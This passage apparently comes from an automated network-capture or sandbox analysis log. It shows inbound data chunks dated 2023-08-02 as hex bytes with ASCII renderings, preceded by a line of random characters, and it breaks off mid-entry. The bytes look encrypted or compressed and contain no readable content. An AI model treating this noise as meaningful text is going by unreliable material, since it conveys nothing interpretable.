Ry[xrHRn\|au9Qk\\|$Aq^vFU!>dqz?)~M9oJ0Rlx ag+ZHg)fFLqwFtp]<>[M-BA5!fGjRjbsC2+HR&8KP:q #tx
2023-08-02 08:30:44 UTC	802	IN	Data Raw: 8d 71 dc c2 dd 74 f6 15 b0 f8 0b e5 c1 3b c0 80 3b 0c 50 56 f5 d0 89 19 1e eb 12 27 0e 42 1f 47 08 b0 5e ab c1 c4 cd 0a d0 ea c0 e6 9e 91 8c e6 b9 9a e2 5b 3f cc 8d b8 63 fb 64 e8 81 af 7e 94 fd aa 13 e9 70 0d 18 c0 55 2f 41 0c 76 fa 60 21 ce 73 b5 b8 bd 76 f8 d5 1d 69 f7 29 e7 14 4f 2f d1 44 dc cd 41 91 86 93 9b b0 a8 bf 99 9f 09 4c a7 17 83 b6 03 03 f4 0b 7e 50 44 1b bd 13 4f d8 38 f7 6a 23 4d 5a 3b 4e d9 07 0b 12 e8 05 60 47 c3 c7 98 ed dc 26 fd 42 db 9b bb 48 a6 02 4e 76 72 23 96 6a f6 6a 42 e7 5d 01 cc f6 37 9b 37 26 16 a9 3b 8c ef 49 3b d6 20 9f de 41 c3 95 e7 61 93 7c ce 1f 29 15 1b b9 ff 9d 6f ef 81 d3 de 69 a6 20 2f d5 7b c3 bc 4a f1 48 f3 df 90 e8 56 b2 9d de 5e 3d 95 c2 96 44 56 8d e2 f4 85 6f 61 69 4d 11 54 43 b1 29 8c 99 cf 46 16 5c e6 2b 57 Data Ascii: qt;;PV'BG^[?cd~pU/Av`!svi)O/DAL~PDO8j#MZ;N`G&BHNvr#jjB]77&;I; Aa\|)oi /{JHV^=DVoaiMTC)F\+W
2023-08-02 08:30:44 UTC	818	IN	Data Raw: f5 67 ba ad fc 75 91 a4 6e e1 a3 39 d6 e0 9e fd 28 1d 56 98 e1 4b 03 9b 6b b4 ae 54 77 1f 54 58 f5 07 c0 eb eb 9e 05 ed 51 51 de 61 f3 e2 67 10 9b 9c 84 84 50 c1 11 99 20 2d bb f4 cf cf fb f1 87 13 09 52 8b b3 d8 b3 b4 19 72 4e f9 6b 2e b4 f5 88 c2 54 59 01 b3 b7 1e 26 91 83 a7 d6 8b 8c f2 c8 1d 70 15 8e 8e d7 b7 0c 81 40 e9 2b 5c 0b 40 02 81 0b 74 46 28 c2 f8 66 a9 7c 3f 03 a4 77 70 7e a1 88 49 98 51 8f 2e 00 e9 51 64 22 06 43 0a 68 c1 6c 85 34 a6 fa 5f c7 9e bf 71 57 8d 0b d5 bd 3f 28 cf a0 3c 34 21 7e ca c5 5f 93 e2 4c ae 55 db 99 85 ee dd 4b 92 6f a9 86 fc a4 83 b1 9a dc a6 89 00 6d 1c 4a ff a7 f0 64 ff 17 f7 93 4a 85 85 14 3f 5f 16 3c ea 60 6d 1b 36 7e 96 3b 78 80 d7 db 2a 10 bc 5f dc 81 1e ca 95 b7 0e df ac 05 f7 7b be 3f 45 76 b8 ac 4f e9 ef 97 7e Data Ascii: gun9(VKkTwTXQQagP -RrNk.TY&p@+\@tF(f\|?wp~IQ.Qd"Chl4_qW?(<4!~_LUKomJdJ?_<`m6~;x*_{?EvO~
2023-08-02 08:30:44 UTC	834	IN	Data Raw: f6 45 2c 82 6c 95 60 da f1 e6 40 ae 5d 3b 13 be 85 5c f1 96 ab 91 33 16 fa d7 7f 94 c0 8e 41 5b 49 68 73 80 54 81 01 b9 da 9f ca 6e e3 10 f7 99 6c 81 7c 52 5a cc ed 67 d4 d9 3a a7 43 24 39 b8 64 11 89 0c d4 f6 b7 70 a7 8f 51 30 9c 1d 63 1b 78 18 dc da b7 f9 34 21 43 e4 cb 5a 59 b4 99 8c da 41 ec 5d ae ef 10 93 0b eb 5d 37 8e 93 09 40 20 5d 34 46 3c f6 34 e3 68 05 44 78 05 fd b9 aa 7f 5b 2a e7 67 8f a1 3a 64 15 9d 60 a6 09 34 c9 65 e8 47 a0 f2 18 67 2c 43 ea 60 e9 69 27 5c 13 48 5c 02 80 a6 c5 d3 f2 9f 47 fa 8a 20 f3 6d 36 7a 49 49 27 50 c6 e1 ae a9 17 4b 53 fd 9b e4 78 4d 08 b8 fc 18 81 0d 90 9f 59 ca c4 03 48 5b f6 6f c7 54 20 91 98 9f cf 38 bf 3a ce b3 6c 7a f1 d3 c0 c6 59 c4 19 4f c2 55 2d be f1 6a 15 6c 59 34 e1 5d 0a 42 53 21 79 b0 f4 cc 10 1f 21 7e Data Ascii: E,l`@];\3A[IhsTnl\|RZg:C$9dpQ0cx4!CZYA]]7@ ]4F<4hDx[*g:d`4eGg,C`i'\H\G m6zII'PKSxMYH[oT 8:lzYOU-jlY4]BS!y!~
2023-08-02 08:30:44 UTC	850	IN	Data Raw: 99 9c 81 16 c4 91 f3 28 eb cd 33 8f 1c 53 69 11 68 3b b6 3f 40 17 d8 12 de 98 bb f3 3e a8 3b a9 14 aa 77 fc a0 bb 3f 38 de d6 9f 88 b1 9e 3b b3 92 bc 49 a6 2f 59 97 9c bc 7f 12 91 4d 9d 2d d4 ec 8c 2a 37 32 2b 90 99 c6 02 02 de 0d 92 75 8f be f8 60 0c 0b 4a 9b 60 7d 0a aa be 7f 40 75 6c f8 74 68 25 3e 01 11 96 3c 22 1c 92 99 c9 77 7f c8 e6 93 cc 9f 63 b1 42 da 04 fa 1b f4 78 6e a1 78 d7 dd 0d b5 96 6c 22 c7 57 45 28 06 18 68 80 58 3a 2b b3 27 ed 9e 55 13 1b 81 f1 d5 6b 88 1f 61 8e 95 0b db d1 a2 ac d7 c7 36 6f 2b 5b 7b f2 03 4b 12 d5 57 43 d0 c2 01 da c1 46 b2 8e 60 a0 c9 86 19 96 3e 3e c8 22 b3 cd 72 56 3b f6 85 08 bb 56 ea 9a 09 09 25 3b bb 38 e2 61 84 0c de a7 b5 8a be 02 e7 a9 bf db c6 84 7e c8 e2 f8 42 18 ae fb f7 16 51 e7 d7 f3 17 1e ef f2 84 76 31 Data Ascii: (3Sih;?@>;w?8;I/YM-*72+u`J`}@ulth%><"wcBxnxl"WE(hX:+'Uka6o+[{KWCF`>>"rV;V%;8a~BQv1
2023-08-02 08:30:44 UTC	866	IN	Data Raw: 74 ec cf 7f 50 2f 7b ea 5e f9 22 02 58 85 21 a6 b5 d3 f9 2c 82 c5 43 74 24 d8 84 d3 85 d2 91 4b 35 02 cd 7e 5b 55 e2 ef a7 00 37 57 9b 3c 93 04 62 01 93 f8 55 b0 4f eb 0f 42 87 e3 7a 19 02 15 c4 ac 3d 84 8c 13 20 b4 7d 1a a8 84 68 0c 5a f4 31 e0 c7 27 2c cc 1b 03 40 05 c8 70 32 0d 73 f8 2e b5 8f de 1e 2b 58 7f b5 fe 2a 8f 44 de 13 c0 63 8e 49 c2 82 ef 82 f9 d2 cd 75 4e 96 14 3b d8 6b a5 2c 40 ff f0 1f 20 4a 2e c1 7a 0c 14 26 e8 de 8e 0a b3 96 a0 35 6f 5f 86 90 bc 81 43 3b 72 bd 40 0c b9 3e fe 66 95 9c 8b b7 84 bf 81 2f c4 a9 c2 e9 20 a1 e7 ac 64 11 ce 61 25 30 03 89 67 2b 8d a8 53 df de 86 b9 97 02 65 aa ae 2b 9e b7 c3 af 3e 78 6b 9b 92 bc 22 13 8d 55 05 c1 17 1c cb 2f 45 a2 64 6c a2 dd 29 98 4d a7 79 66 ae 96 e0 8a 9e d5 a2 a3 07 cc 21 65 97 71 75 e1 3e Data Ascii: tP/{^"X!,Ct$K5~[U7W<bUOBz= }hZ1',@p2s.+X*DcIuN;k,@ J.z&5o_C;r@>f/ da%0g+Se+>xk"U/Edl)Myf!equ>
2023-08-02 08:30:44 UTC	882	IN	Data Raw: db 18 38 47 16 46 b3 8b ac e7 64 24 3a 9f 64 1e 01 35 c5 f7 28 50 9e 30 db 7a 67 ed 35 a4 95 06 25 ea b7 34 0c c2 bd c0 b0 ed 83 1d 34 25 d9 03 5f 5a 3a ee 52 51 2d c6 26 56 da 0f cb 58 6e c6 af 70 00 93 c2 cc ff d7 3e 78 94 07 e2 08 d3 31 b1 85 bb c5 dc 12 0b 5e ce 18 f9 db d8 12 08 ad ca d6 08 ed bd 30 2f 66 0d 31 a2 da 75 58 3f cb 18 fc ab e7 9b 12 1f a7 de 60 b1 a5 77 6f 4c 94 98 a4 b4 d6 fc 60 ef b5 97 18 2f 7e cb 31 6e 7d 0e 61 85 05 e8 05 df b2 6c 2d 51 f6 7d 6e 56 e0 d2 1a ce 0a 06 72 71 13 01 a1 c8 4a 34 11 f5 94 a7 b4 54 37 93 5a 24 66 b8 38 d9 e4 08 54 07 60 07 80 85 30 91 99 a1 94 d2 13 20 19 11 35 9c 0e ad 4f 8a ea 39 ba e1 f9 0c cb 82 0b 95 30 f8 38 2d 92 e4 f8 82 7c 46 91 29 03 d1 f8 33 a7 92 e4 b7 ca 4e 0c 1c 62 7a 50 25 14 51 10 4e c7 c1 Data Ascii: 8GFd$:d5(P0zg5%44%_Z:RQ-&VXnp>x1^0/f1uX?`woL`/~1n}al-Q}nVrqJ4T7Z$f8T`0 5O908-\|F)3NbzP%QN
2023-08-02 08:30:44 UTC	898	IN	Data Raw: fb 5d 84 a5 3c 10 e6 63 db d4 28 3f 90 50 15 f3 85 ec 9b 16 c2 8a a9 2b b8 a7 b1 ea e0 0d 26 c7 e0 06 88 ef 6b 21 a0 dc 57 95 71 74 75 1c 0e c1 e0 ea 28 ec 63 72 f0 7f 00 09 51 65 82 f2 da b6 70 19 7f 05 87 3e c7 f5 9a 6f ea da d8 4e eb 93 fa 38 3a ca 4a 83 57 b0 9e c1 14 6c d9 e5 52 30 fa dc e7 86 c5 17 bc 02 70 e1 53 f0 42 32 cd c5 39 88 20 41 49 ad f4 41 79 10 ce 40 da f1 9f 92 ff 0c cf 83 3a 7a 03 26 97 b1 86 58 6e 40 2e 6c 8a 22 ec 95 c9 d6 99 84 2f 3d 56 10 6e b2 95 ca 5e c7 a0 b0 46 b8 a8 9f 24 61 df d8 08 5c 96 95 83 82 d0 74 2e d0 87 5c e7 59 d0 db 8f c8 08 2b fb 65 5f cb 31 bf 0c 9a 5a a4 87 0d 1f b3 cb 80 f3 4e 27 26 a5 22 fc ce fd 0d a0 0c bb e7 3a a4 05 08 6a 3b b6 58 dc 54 d5 30 a9 49 52 46 80 6e f5 db ad 4d 0e 29 d1 42 db 54 ad e1 51 e7 fe Data Ascii: ]<c(?P+&k!Wqtu(crQep>oN8:JWlR0pSB29 AIAy@:z&Xn@.l"/=Vn^F$a\t.\Y+e_1ZN'&":j;XT0IRFnM)BTQ
2023-08-02 08:30:44 UTC	914	IN	Data Raw: a7 7e 5e 3d c3 96 f5 e9 23 6a 5d 8d 41 44 45 01 b7 52 b8 2f e6 b3 16 62 2d 9d d4 38 25 61 f4 17 8a 26 68 de 2a 99 b9 67 de e6 4f e7 ee e4 c2 b1 f8 1d 47 c4 a1 c2 de 62 1d 63 44 57 aa a0 90 38 10 1c fb 92 e6 8c f8 9e d2 92 1a 1f 6c ad 5c 83 94 50 2d df 41 e9 3e 2e d7 d9 74 17 8e 44 5b 7e 63 70 89 f1 2d 8a e4 bc 3c 5a 67 10 0e 3d 70 7d b9 5d 98 b2 22 e2 5c b7 88 13 ea af e4 69 24 c0 23 af 60 0a ba bd 9f 3b 7a d5 0c 14 f1 e2 ac c9 f6 37 73 c2 a5 75 d0 36 ff ab 4d 21 fa 91 1c 27 df 37 b7 f6 4f 45 7e 74 98 ee 18 d7 27 f4 8e 77 2c 30 af 14 45 7c 7f 25 e5 3c 5d e2 9e ce 7b 7d f2 7a 92 0a e9 ae d5 17 e6 b2 b0 70 42 c4 ab 19 39 83 af e0 9d c7 43 2d c8 4f 1f 14 63 22 30 95 00 e9 fc 98 d3 fd 01 2e b3 c1 5b ab 0c 19 d0 ac 92 7b be 26 3b 83 f7 ed 92 13 25 0d 4c d8 ba Data Ascii: ~^=#j]ADER/b-8%a&h*gOGbcDW8l\P-A>.tD[~cp-<Zg=p}]"\i$#`;z7su6M!'7OE~t'w,0E\|%<]{}zpB9C-Oc"0.[{&;%L
2023-08-02 08:30:44 UTC	930	IN	Data Raw: de ba f6 9c 6e b7 44 68 61 71 15 58 e2 78 95 8e 4e 5a 07 10 08 1e e6 42 eb 9a 8e f2 f5 2c d1 43 3e b0 07 a8 89 fd 01 8e 46 a8 76 ca ab fd b6 ee b5 4a 17 f5 ad c4 98 d1 d9 bc 2b 52 6b 48 8f f0 50 27 a1 6e 77 14 e3 f1 30 68 07 41 0b 7c 12 75 20 ec 6a 17 b7 ff 17 64 13 fd fd 7f 1f cb 2c b8 81 25 9a 62 d0 d6 b6 90 63 3c 0e 1b 01 99 b5 82 7d 55 49 b7 62 a6 6d f6 2e 52 6d 3b 14 03 dc 7d 1f d4 cb 41 a4 4e 1e f0 55 97 18 01 48 f3 b9 7b 14 73 c8 ee ed 70 43 87 c5 cc a6 9d 92 a1 96 dd 50 e9 4a 2b db 1f 0c 6d 8c 2d e5 de 2e e7 34 dc e7 ae 75 2b c5 44 51 49 17 1d 5b 29 5e 0e 33 82 75 86 43 71 b9 76 46 59 7e 05 54 4a 74 69 ba 0a 96 70 82 93 41 8f 29 b1 61 65 96 4c 99 3c e5 9d 69 48 bc e3 15 63 cb 57 3d 5b 9e de 64 5f c9 c0 d5 50 c7 2b ef 88 49 08 a4 6c b0 54 04 a1 61 Data Ascii: nDhaqXxNZB,C>FvJ+RkHP'nw0hA\|u jd,%bc<}UIbm.Rm;}ANUH{spCPJ+m-.4u+DQI[)^3uCqvFY~TJtipA)aeL<iHcW=[d_P+IlTa
2023-08-02 08:30:44 UTC	946	IN	Data Raw: 59 b2 c8 c0 54 43 1c 54 b8 5a b9 34 e9 ab 89 6c c2 54 57 19 a0 a7 8b 71 43 bc a9 94 4c 25 cc 0b 6d a7 d0 65 9c a7 32 f3 20 af a6 0d 01 0d c8 bd fe 1d cd 8a 2c 81 6c 21 0a 8d 9f 79 e1 5c 53 56 4e c0 3a 46 ed fd 71 46 e8 32 7d ad aa 34 31 7d 9a 1a 8d d5 b4 5c 16 79 4c 8b a0 28 ea a3 d8 f6 45 aa d7 fe ef c0 d3 d3 a0 c6 07 4f 1d e0 15 47 7b 47 61 60 da 8b 55 ae f1 8c 5c 69 79 72 de d4 4d 22 5d 43 8d 41 20 5c cf bd 09 f1 1e 22 be e0 5d e9 db b6 90 25 08 2f cf 38 21 c0 19 d3 bf 9b 96 f0 1d e6 94 79 28 c3 92 af 19 fe 48 15 18 e7 75 50 9d cf a8 5b d5 37 a5 5f 78 d7 51 0f 54 00 70 21 d9 aa 92 95 1f ba 22 a0 4f 46 4f 68 e9 83 1a 5f 5f 5f 29 87 2e 02 3a 81 fb 61 24 3f db aa 82 4f 7c 1c e3 54 ab ba 88 b1 67 0c 7c f1 6b 14 07 b3 a8 67 19 d0 54 ef 90 a1 ca fc 96 5e 5a Data Ascii: YTCTZ4lTWqCL%me2 ,l!y\SVN:FqF2}41}\yL(EOG{Ga`U\iyrM"]CA \"]%/8!y(HuP[7_xQTp!"OFOh___).:a$?O\|Tg\|kgT^Z
2023-08-02 08:30:44 UTC	962	IN	Data Raw: 6e 8d 18 bf bf 92 f9 83 6d b8 96 33 d9 60 f0 13 c1 01 05 cf c0 de f2 32 cc 29 92 57 85 b8 93 e9 cc be 0b 4c ae ac 26 f7 5f 98 ba db 8c 17 b9 10 9e 7f 1f b1 16 a7 7c 84 62 ea 62 6b e2 d7 1a cb 78 84 af f0 76 46 72 97 82 8c 2e 33 40 4d 1e ec 00 28 aa 58 cb 88 c5 bf b3 24 57 1b 9e 60 ea 35 5c f8 75 fd db 7d 8b 84 90 56 61 92 dd 1e 6e 37 92 7e 94 d5 3a a4 3c 68 5a 41 ce 16 6b 5c 5f 47 c7 48 02 cc 9d c0 86 81 23 e2 6e 43 d3 d7 9d 66 8b 31 d6 e5 51 ac 4a b6 3c 60 69 0c 94 a2 ae 7f 70 a3 76 b8 f4 31 2b 39 6e 59 6c 44 22 b6 52 02 a5 69 f4 81 0a e1 64 70 2b c9 a2 79 4b 38 2e 37 90 5b 4e 86 d9 69 c3 fa 76 14 90 71 bf 6a fd 3d 77 08 3d 3a 9b 87 9c 39 0d 4a 10 92 e2 e7 0d b8 dc dc 54 46 18 12 1b 51 20 f5 8e 62 20 4a a6 89 97 f6 fc b5 7a 33 bd d6 a1 15 8a 74 f8 c3 e0 Data Ascii: nm3`2)WL&_\|bbkxvFr.3@M(X$W`5\u}Van7~:<hZAk\_GH#nCf1QJ<`ipv1+9nYlD"Ridp+yK8.7[Nivqj=w=:9JTFQ b Jz3t
2023-08-02 08:30:44 UTC	978	IN	Data Raw: 33 9d 6f e1 ae 95 51 a8 2c a5 e3 e3 9b 1b 7d b0 d1 a6 cb 90 7c 03 53 99 15 2a fb 0d 14 2c ca 89 07 d2 4d 23 e2 61 7c 43 e7 58 1f 99 0e 1f 36 20 15 e9 f4 c8 ef f1 9f 86 28 fe 12 82 93 3e a5 1f 6e c9 85 45 fd da 79 50 de 3d 72 f8 0c bd 25 d1 73 62 a2 d7 b9 41 aa 94 b3 97 1f 2b a2 6d c0 9d bf 28 9a 0c f5 f7 82 ac dd b0 3c bb 15 ae 27 32 5b 88 6d 9c 19 21 a4 76 4e e2 42 17 d9 f6 2f 10 df ab 30 0e 70 11 ab ab 05 6d 87 85 99 df 89 c3 1a a9 25 54 08 8e 0f c6 4d 96 88 79 a0 58 48 d1 f4 3d b7 9e 71 56 ae 3d d2 0d d7 64 a3 00 38 6d de ff 0f 04 09 fd 10 de 0b c1 2e 0b da cc 11 51 41 4e 0b da e5 ce 54 cb 8f 54 10 1b 16 b8 36 c1 7a b5 dd bc 01 da 24 42 b9 75 10 74 12 23 47 46 e0 e3 71 49 48 ee 2b 40 15 02 77 2d f8 bf 4d 1a ce cc 33 3f 84 8a c8 ad 90 e6 a7 2c ee 04 a1 Data Ascii: 3oQ,}\|S*,M#a\|CX6 (>nEyP=r%sbA+m(<'2[m!vNB/0pm%TMyXH=qV=d8m.QANTT6z$But#GFqIH+@w-M3?,
2023-08-02 08:30:44 UTC	994	IN	Data Raw: b5 f8 30 21 e5 c4 ae f5 8a 20 7d e2 79 19 3a e8 82 41 4b d5 bc 22 28 db 4b 1c 46 6c 1a 3b f0 91 e6 e1 30 ac bc f8 58 b4 e0 a6 d1 d7 3b 07 da 8b 31 64 5f 11 ac 9d 3e f4 cb fc a9 60 a6 a1 75 dd f5 4e 38 30 ed e7 8e 2e 8e 57 3e 11 3b f6 96 d0 fb da fc dd ba ca 27 e2 3a 98 be 7a 9d e8 f7 db b0 27 8d 55 7a c0 37 e9 2b 66 4e fd b2 4c 2f 59 17 f3 03 bd 94 05 d7 67 30 fc df 40 12 e4 aa f3 58 41 e0 ad 7f 41 f5 f4 22 9b cd a9 aa 36 b3 04 1b 32 3d 66 8d d6 49 3d 4e a9 f5 9a c1 be 26 be e8 f3 56 c5 81 1f d2 b2 96 45 01 56 55 d6 11 14 e1 72 d5 10 ef 39 d2 44 fd 10 cd 85 54 97 6f d3 31 2f b9 33 ce 0c 2b e8 46 68 14 46 b3 64 64 a2 36 e4 55 b6 00 c7 ea 72 60 5f 63 29 ba 58 0b b2 9a e4 cc 85 74 8b d4 c6 dd c2 d9 eb 81 be f9 d1 7a d0 8a fa 4a 1c 74 00 4a 53 f5 d3 f0 3a aa Data Ascii: 0! }y:AK"(KFl;0X;1d_>`uN80.W>;':z'Uz7+fNL/Yg0@XAA"62=fI=N&VEVUr9DTo1/3+FhFdd6Ur`_c)XtzJtJS:
2023-08-02 08:30:44 UTC	1010	IN	Data Raw: 1e 45 7b 0f b7 2f 14 15 61 d5 1e a9 13 2b be 8c 1a 87 c7 c7 6c 10 33 57 71 a3 3c 9c 92 90 41 cf ab 23 81 b1 2b bc 1e e8 6c 22 31 31 23 4d f2 75 dc 75 9b fd 6c 53 12 93 b6 40 0c eb 7f 7e 5f 9c e7 da 80 84 e5 8d 97 43 b8 32 96 20 75 db a2 72 28 29 a7 a3 d1 ca 81 61 38 d0 60 27 26 02 cc b2 e7 24 7a 8c a8 0c 7b 66 38 09 a2 80 ec f8 e4 13 ba d8 08 ad 80 c7 e9 86 d3 ee ed cf b8 af 62 6c 2a 37 de 38 3c 98 78 51 23 96 e6 93 df 14 50 e1 7d 32 4d 3e 5e a7 66 6b 3d 9b be 5f c2 6f 0c f0 64 37 e4 4f 68 9f 62 74 dc 95 ad 19 f3 42 da 35 ef 85 db 05 c2 c8 12 f0 e0 39 64 73 a5 bb 41 95 6b ce 9a ae 4b 72 65 32 38 fb ce 3a 91 c0 67 01 30 97 c7 35 5d 89 04 11 56 37 c8 95 30 23 42 8e 2d 1a 96 84 78 93 a2 50 3f fb 85 6f 6f 9f 4a 5c bd 31 90 3a ee cc e1 68 1c 5d b0 ab 65 da 5c Data Ascii: E{/a+l3Wq<A#+l"11#MuulS@~_C2 ur()a8`'&$z{f8bl*78<xQ#P}2M>^fk=_od7OhbtB59dsAkKre28:g05]V70#B-xP?ooJ\1:h]e\
2023-08-02 08:30:44 UTC	1026	IN	Data Raw: 05 9c f0 5e cb 9f 62 e7 8d bd b1 5b 4c d9 51 9c ac 48 54 27 b0 e1 9e 28 5f db 11 f8 aa 01 8c b8 a2 6d bc be 5d 41 d2 1d 6e 1e b8 fb b6 86 2b 3e f5 41 06 f4 8a 92 fe 27 50 bd 59 24 7b f2 14 a8 50 32 b4 1f 39 25 d7 9c 65 00 91 30 2f a2 7a 0c 98 4c 7f 05 43 11 b0 14 31 26 b9 7c 6e 2a 33 e9 c3 cb 31 91 8e b3 d0 29 9d 58 60 75 f3 76 0b 9f ac e1 99 5d b9 d7 fd 40 1f cf cd 4f 60 5e c9 34 e6 02 a5 03 a4 b0 30 9d 18 d0 25 b1 0a 62 88 d4 f0 a9 c5 6f da db 74 16 e6 3f 9f 02 7b 68 77 39 f5 b1 97 d3 c3 8f 40 de 07 ae c1 01 d6 fe 22 9b b3 db 5e 56 72 4f d1 7e d0 18 9b 34 cb 17 a1 8e 02 9a 0e d3 54 e1 50 ab e3 d5 11 b8 b8 29 91 e6 ac c3 e3 eb f2 22 25 ae fb 29 b7 e4 c5 0c 05 1f 98 49 03 4a ae ed 3f 9f a9 eb 67 7a d3 04 9f 2e e7 ac ec fa fc 90 10 27 53 31 57 e9 7e 91 ac Data Ascii: ^b[LQHT'(_m]An+>A'PY${P29%e0/zLC1&\|n*31)X`uv]@O`^40%bot?{hw9@"^VrO~4TP)"%)IJ?gz.'S1W~
2023-08-02 08:30:44 UTC	1042	IN	Data Raw: f4 11 5f 5d 3d f0 2a aa 0d b3 59 98 01 dc 08 24 c4 8b 73 08 fe f9 42 83 85 fc 81 bc 70 9b 1f 87 c8 1b aa af 96 2e cc e1 9f 07 2d a0 14 02 50 86 d7 53 c1 5a 04 c9 56 e8 cb 9f f2 cc 5b d1 dc 29 4e 09 94 cf cf 62 9f be f5 12 1f fb 4e 05 2e 71 b0 06 8d 0c e8 a2 53 fc 4c 73 1f 3d 5b 23 b5 ca 39 d8 4b 7e 49 3f 47 7c 38 4f 44 13 f9 c7 56 c8 c1 37 18 07 ce 77 b7 a7 06 47 99 c6 1c 6c dc 2a 2b 1e 62 2d f6 2b b7 bd d8 df d9 f4 a2 de d7 df e0 5f aa d9 10 3b 72 5a 44 06 4f 99 c0 85 46 f5 e8 19 bb 2d 64 50 67 f9 43 22 8d 30 d2 85 ea a5 13 39 6e 16 6c 35 5c 5e c3 d0 26 b8 3a d2 2d f5 c4 25 00 c3 50 af 55 c0 9c 21 9c be 0a d9 1a b4 36 40 d2 3e f8 a1 c8 ce e3 84 f5 d6 0e b5 54 28 ef 7e 27 52 9c 9e a9 86 74 5b 36 35 70 13 0c 72 a0 27 72 a9 75 de c4 be 81 35 ca d5 dc 19 c0 Data Ascii: _]=Y$sBp.-PSZV[)NbN.qSLs=[#9K~I?G\|8ODV7wGl+b-+_;rZDOF-dPgC"09nl5\^&:-%PU!6@>T(~'Rt[65pr'ru5
2023-08-02 08:30:44 UTC	1058	IN	Data Raw: ea 06 15 2a 76 9b b6 d9 7c 9a f3 5d 0d d7 54 a1 56 e8 ad 61 c6 1e 7c 8b 83 b8 50 56 c1 55 68 cf c1 aa 88 79 b6 c0 84 fc 5e db e9 ec 55 a5 c0 20 24 b1 6d 07 a6 68 dc 5d 40 66 c2 86 f5 34 17 68 c1 3a 7e a4 e5 f1 c1 8f 8f 93 ba 4a f3 62 63 7b 26 3f 48 f1 9e a5 6a ac 77 bc 7f 57 28 9b 92 89 ea 5e d8 f3 73 e2 03 bb ed de 80 35 ee aa 1b fd 42 6e 4a 0d 42 61 27 e1 fd 33 4f 72 65 3c 5e 5b 4f 40 46 82 9d 37 dc e5 4b ed a3 e3 6a 0c 69 10 01 ff ba f6 34 8c bc a6 bf 92 0c af a3 78 ab 97 20 7a 9c 00 70 e0 c0 28 f6 d1 e9 e8 e9 8a 4b 3e 90 8f 88 72 fd 45 8d a2 c7 94 b0 42 e6 46 c2 67 5d d8 cd 40 f7 61 14 af a2 f0 98 8b 9d 39 d3 cc a5 bb 9d 6c e7 2a 99 0f 5b ec 78 6a 2f 66 64 b1 ee 56 87 49 03 82 24 5a 51 89 05 a5 cd 8a e7 ac 89 17 44 e7 b7 a1 90 fa 32 d8 80 2c c0 c3 88 Data Ascii: v\|]TVa\|PVUhy^U $mh]@f4h:~Jbc{&?HjwW(^s5BnJBa'3Ore<^[O@F7Kji4x zp(K>rEBFg]@a9l[xj/fdVI$ZQD2,
2023-08-02 08:30:44 UTC	1074	IN	Data Raw: 52 c9 45 a4 fd 9c 8c 7e de be 1c 4e 1c ee ad d4 8e 30 38 ca a8 b9 7b af e6 2a 72 8a 17 2b b6 f3 06 f4 97 de 95 fc 60 54 64 72 cf 68 6f e0 85 c8 28 68 e8 d2 55 0b 34 16 15 6e ed fd f1 ad 03 ee de 97 c4 a7 17 70 16 b7 8c fa eb 64 11 59 f9 1b fa a8 5a d7 6c b2 4f d9 6c 0d 94 49 b3 20 0d ef 84 13 43 ac 69 99 96 06 ee ea 0f 38 35 06 9d 83 b3 e4 f0 2f 7c af 2d 77 ed 31 8a a4 14 ba de 09 f6 10 8c 11 1e c7 f9 0b 3f 3f ce ff 64 4b 51 e0 8d ce c9 6f 60 31 4d c9 13 92 b8 24 15 88 04 c2 26 ca 4f b0 f0 fb 4b ab ff 47 c5 86 c9 c3 f3 77 a1 75 ae bb 6d fe 74 f8 db 65 66 f1 6a 0e b0 a6 2d 2a 5f df ac 82 ab 3b 87 b4 85 c2 a5 a5 18 71 72 05 5a fa d4 09 bd 0b 8c e0 a9 ad 73 28 23 31 df 72 e8 e1 79 3f e4 bf cf aa 88 84 22 89 21 3e 20 75 ad 7c 54 98 6e e6 aa 8a 42 3a 8b 3c 33 Data Ascii: RE~N08{r+`Tdrho(hU4npdYZlOlI Ci85/\|-w1??dKQo`1M$&OKGwumtefj-_;qrZs(#1ry?"!> u\|TnB:<3
2023-08-02 08:30:44 UTC	1090	IN	Data Raw: 74 c4 3c b7 c1 dc 25 82 18 66 3e 01 bc b4 bb cc 60 08 dd 1f 7b 9e 87 17 7c fa 39 8f 44 2c 88 b9 ac 96 21 00 58 0c d6 40 5f 9f bf 6f 9c d2 1e e0 84 6f ff b1 49 c9 7b 60 da 04 08 f1 bb 71 ff 9d 87 80 0d 1d 3b 7a 9a 4c 95 91 16 75 58 8c a5 9d 99 d4 2e 67 f7 31 68 50 56 49 cc 11 ed 46 8b 21 d9 ef bd 26 f2 51 ef e5 05 c4 6e aa 14 6b 9a ff 57 bc a6 90 9b 3c ed 9c 2f 4b 6a c2 ad 70 a8 91 b5 17 d8 51 1d 2d 7d 9b e4 12 f1 bd 16 95 34 fc 25 cc 4c 58 a1 c4 e6 0a ea c2 47 ef 3d 31 8e 11 90 f8 5b 0d b5 42 b0 ef 8b 2b 19 e7 1d 53 0a 25 c4 4b 24 90 0e c1 3d 67 3f 4f 71 94 63 53 d2 13 cb 54 3b 1c 60 91 54 f6 1b de 9d 23 14 3d ca 55 70 5f 05 76 cc 9b 35 e2 1b 48 57 dd 07 79 1a bb c4 ac 19 3a d5 52 e2 ee 15 e8 c9 6d 75 e3 f7 0a ea fc fa 7b 1d 04 a3 ea 67 3b cf f5 f0 71 1b Data Ascii: t<%f>`{\|9D,!X@_ooI{`q;zLuX.g1hPVIF!&QnkW</KjpQ-}4%LXG=1[B+S%K$=g?OqcST;`T#=Up_v5HWy:Rmu{g;q
2023-08-02 08:30:44 UTC	1106	IN	Data Raw: f5 fc 41 20 e6 8a f4 ae 47 43 07 02 cc 88 d5 9a d1 49 a8 e8 8a fb 33 eb 08 43 01 8a 09 8f 8d b0 16 48 69 17 7a bb 04 6e 92 90 92 8a 22 94 15 d1 59 0f 21 a9 5d 4b 8b fa 0e b3 33 f9 19 4f 75 7b f5 d6 fb dd bc 9b 1a 3f 94 50 c4 e7 c5 15 99 75 b0 6e f6 39 69 df f8 53 8c 10 cb 59 8e 4c 15 6a af 44 b0 c7 2f da 45 10 96 f1 5f 9c ef af c5 a9 1a a3 df 04 6b 49 71 d2 f6 7b c8 a8 41 61 2b a7 f8 ec ee 52 11 00 5d ed 04 73 4c 9a 04 52 8e 2e 50 11 d0 3f 07 73 80 72 ae e5 b8 88 81 30 49 4e 6c 40 95 16 90 82 cb b8 1f 7a 0d 4c 38 ee df 6b b4 7b fc 7e a4 f2 e6 cd 8c 2e b1 84 89 2b 01 5f 97 f5 9d cb e3 57 0d 01 88 9a 57 8d 3d 7c aa 5c 13 0d 05 54 aa a6 c6 a7 42 08 1f 8a b0 8c 63 4a 62 96 b7 14 64 18 63 cb 4e 42 c6 ca 3b 68 54 b2 8d 12 69 08 27 46 35 90 ec be 99 